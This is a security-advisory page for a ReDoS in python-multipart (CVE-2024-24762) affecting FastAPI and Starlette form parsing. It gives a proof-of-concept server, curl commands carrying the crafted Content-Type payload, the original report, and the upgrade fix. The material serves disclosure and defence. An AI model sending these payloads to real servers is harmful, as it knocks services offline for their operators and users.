Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-2jv5-9r88-3w3p

HIGH

python-multipart vulnerable to Content-Type Header ReDoS

Also known asCVE-2024-24762GHSA-qf9m-vfgh-m389PYSEC-2024-38
Published
Feb 12, 2024
Updated
Apr 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
2 known

EPSS Exploitation Probability

via FIRST.org ↗
1.5%probability of exploitation in next 30 days
Lower Risk71th percentile-1.81%
0.95%1.97%2.98%3.99%1.8%1.5%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍python-multipart

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header


def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]


httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

This is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.

Original Report

This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

<details> <summary>Original report to FastAPI</summary>

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

</details>

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpython-multipartall versions0.0.7
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for python-multipart. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update python-multipart to 0.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2jv5-9r88-3w3p is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-2jv5-9r88-3w3p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-2jv5-9r88-3w3p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests. This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS This only applies when the app uses form
O3 Security · Impact-Aware SCA

Is GHSA-2jv5-9r88-3w3p in your dependencies?

O3 detects GHSA-2jv5-9r88-3w3p across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.